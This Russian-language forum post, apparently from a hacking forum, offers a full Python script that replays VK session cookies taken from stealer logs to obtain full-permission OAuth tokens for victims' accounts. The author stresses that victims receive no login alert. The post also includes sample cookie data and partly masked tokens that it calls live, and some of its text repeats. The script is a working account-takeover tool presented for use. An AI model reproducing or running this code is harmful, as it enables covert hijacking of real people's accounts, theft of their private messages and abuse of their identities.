И снова я. Привет, друг.
Мне показалось мало просто дать тебе инструмент по получению cookies из логов, поэтому я тебе дарю еще и скрипт для проверки валидности этих сессионых данных, да и еще по беспалевному получению полного доступа к контакту жертвы. Да-да, речь о полноправном токене. А из-за того, что мы будем использовать данные сессии жертвы, ей даже не придет оповещение о том, что кто-то зашел в ее контакт. Заинтриговал? Тогда приятного погружения в чтение данной статьи.
Расскажу в двух словах принцип работы нашего будущего модуля:
Из прошлой статьи мы научились собирать все куки, необходимые для дублирования сессии на любом компьютере. Их мы поочередно будем подставлять в новую сессию, далее "переходить на сайт" приложения вк, и в ответ(если сессионные данные актуальны), получим url вида:
Не такой, но похожий. Разумеется сами мы не будем путешествовать по просторам сети, вместо нас этим будет заниматься Python. Суть, думаю, ясна. Теперь к кодингу!
Для работы скрипта нужен модуль requests. Установить можешь командой pip install. Делай правильно, устанавливай в виртуальное окружение!
Не буду разделять код на части и каждую пояснять, также как в прошлой статье - код с комментариями - там все должно быть понятно.
Пример запуска:
или
Еще раз поясню, НА ВСЯКИЙ СЛУЧАЙ, что кормить скрипту мы будем список из таких структур:
Результат:
Прикрепляю исходники к статье.
[automerge]1546644672[/automerge]
Кстати вопрос на засыпку:
Почему происходит правильная авторизация при такой записи:
При просмотре cookies в браузере, я заметил, что l и p используются в домене login.vk.com а не vk.com. Но раз работает оставил для всех значений просто vk.com
Мне показалось мало просто дать тебе инструмент по получению cookies из логов, поэтому я тебе дарю еще и скрипт для проверки валидности этих сессионых данных, да и еще по беспалевному получению полного доступа к контакту жертвы. Да-да, речь о полноправном токене. А из-за того, что мы будем использовать данные сессии жертвы, ей даже не придет оповещение о том, что кто-то зашел в ее контакт. Заинтриговал? Тогда приятного погружения в чтение данной статьи.
Расскажу в двух словах принцип работы нашего будущего модуля:
Из прошлой статьи мы научились собирать все куки, необходимые для дублирования сессии на любом компьютере. Их мы поочередно будем подставлять в новую сессию, далее "переходить на сайт" приложения вк, и в ответ(если сессионные данные актуальны), получим url вида:
https://oauth.vk.com/blank.html#access_token=1293b4acb2dee9191cf03f31ca828df3cac9a0fb7f183c73303ddb712f095b913fb40d320563e9799dd1a&expires_in=86400&user_id=218555864
. Не такой, но похожий. Разумеется сами мы не будем путешествовать по просторам сети, вместо нас этим будет заниматься Python. Суть, думаю, ясна. Теперь к кодингу!
Для работы скрипта нужен модуль requests. Установить можешь командой pip install. Делай правильно, устанавливай в виртуальное окружение!
python -m venv env
call env\Scripts\activate
- Windowssource env\bin\activate
- Linuxpip install requests
Не буду разделять код на части и каждую пояснять, также как в прошлой статье - код с комментариями - там все должно быть понятно.
Код:
import argparse
import json
import re
from requests import Session
# класс по получению токенов из сессии
class GetTokenFromCookies:
def __init__(self, cookies, app, permissions):
# AppID приложения ВК, через которое будем авторизироваться
self.app = app
# Разрешения для приложения
self.permissions = permissions
self.error = None
# переменная хранит либо ВАЛИДНЫЙ токен либо None
# получаем токен из сгенерированных ссылки и кукисов
self.token = self.get_token(*self.get_url_cookies(cookies))
# Получаем ссылку и куки
def get_url_cookies(self, cookies):
# cобираем url с нашим приложением и правами доступа
url = f'https://oauth.vk.com/authorize?client_id={self.app}&scope={self.permissions}&redirect_uri=' \
f'http://api.vk.com/blank.html.html&display=page&response_type=token'
# обновляем куки
cookies = self.get_cookies(cookies)
return url, cookies
# функция приведения списка куки к нужной структуре
@staticmethod
def get_cookies(raw_cookies):
cookies = []
# для каждого "сырого" куки
for cookie in raw_cookies:
# формируем запись с доменом, именем, путем, и значением
new_record = {"domain": "vk.com", "name": cookie, "path": "/", "value": raw_cookies[cookie]}
# добавляем в новый список
cookies.append(new_record)
return cookies
# Создание сессии для получения токена
def get_token(self, url, cookies):
# Задаем сессию
s = Session()
# каждого куки из списка
for cookie in cookies:
# задаем в текущей сессии
s.cookies.set(**cookie)
# делаем запрос
response = s.get(url)
# если успешно
if response.status_code == 200:
# то достаем токен из полученной ссылки
return self.unpack_token_from_url(response.url)
else:
# иначе запоминаем ошибку
self.error = ValueError(f"Bad Response: {response.content}\nCurrent url: {response.url}")
# и присваиваем токену None
return None
# функция по извлечению токена из ссылки
@staticmethod
def unpack_token_from_url(url):
# регулярное выражение с группой (токен должен быть между = и &)
re_template = r'access_token=(.*)&expires_in'
# ищем регулярное выражение
token = re.search(re_template, url)
# если нашли
if token:
# то возвращаем группу (то что в скобках в re_template)
return token.group(1)
else:
# иначе не нашли
return None
# функция для многократного поиска токенов
def get_many_tokens(cookies_list):
# список для результатов
tokens = []
# для каждого списка куки
for cookies in cookies_list:
# создаем экземпляр нашего класса с AppID=2890984 и всеми правами доступа
token = GetTokenFromCookies(cookies, 2890984, "notify,photos,friends,audio,video,notes,pages,docs,status,"
"questions,offers,wall,groups,messages,notifications,stats,ads,"
"offline")
# если токен нашли
if token.token:
# то добавляем в общий список
tokens.append(token.token)
return tokens
def main(cookies_filename):
# открываем список с куки
with open(cookies_filename, 'r') as cookies_file:
cookies_list = json.load(cookies_file)
# ищем по нему токены
tokens = get_many_tokens(cookies_list)
# сохраняем в файл
with open('token_from_cookies.json', 'w') as token_file:
json.dump(tokens, token_file)
# функция по получению каталога из командной строки при запуске скрипта
def arg_parse_parameters():
parser = argparse.ArgumentParser(description='log_parser')
# для удобства дефолтный список - результат предыдущего скрипта
parser.add_argument('-p', '--path', action='store', type=str, default='vk-cookies-3-full.json')
args = parser.parse_args()
return args.path
if __name__ == '__main__':
# получаем путь из терминала
path = arg_parse_parameters()
# если путь задан (по-умолчанию задан vk-cookies-3-full.json)
if path:
# nо выполняем скрипт
main(path)
Пример запуска:
call env\Scripts\activate
- Windowssource env\bin\activate
- Linuxpython get_tokens.py -p='cookies.json'
или
python get_tokens.py
для запуска vk-cookies-3-full.jsonЕще раз поясню, НА ВСЯКИЙ СЛУЧАЙ, что кормить скрипту мы будем список из таких структур:
Можно больше данных, нельзя меньше (при меньшем количестве данных через приложение не авторизируемся)
JSON:
{
"remixsid": "c18832c5938528f7055a7706314d1ce239140ef6cad199e40034b",
"remixusid": "MjI2MjdlYzdiOTAwZTAxMDVjYjM5ZTIy",
"remixstid": "0_a4ebb2ebb6b918adc5",
"l": "483046782",
"p": "a5dca548084c420bb92fcdd75a80b1bf83f0130c8721e1e41dae4"
}
Скрыл настоящие токены под * (один первый символ), так как данные актуальны. Если кому-то хочется можете угадать, какие там символы, но зачем зазря беспокоить людей.
Каждый раз токены будут обновляться, так как мы выполняем новую авторизацию в приложении. При этом предыдущие токены становятся невалидными (вроде как)
Каждый раз токены будут обновляться, так как мы выполняем новую авторизацию в приложении. При этом предыдущие токены становятся невалидными (вроде как)
JSON:
[
"*42a1b854c101136e42de9cd9afdf18785d499e73e4113155fb30a02cc46d85a9a32c720ef9a7201ec6cc",
"*c60c17c0682e65340a53c54d2fe698f1d369917d646615548967337ed93966681a829e28b6c782bbb2e3",
"*6552610c519677bdd4e1dd09fbe8160be933419542b7512bab82b997e6314515df3754a303040531f219"
]
Прикрепляю исходники к статье.
[automerge]1546644672[/automerge]
Кстати вопрос на засыпку:
Почему происходит правильная авторизация при такой записи:
Python:
# формируем запись с доменом, именем, путем, и значением
new_record = {"domain": "vk.com", "name": cookie, "path": "/", "value": raw_cookies[cookie]}
Вложения
Последнее редактирование: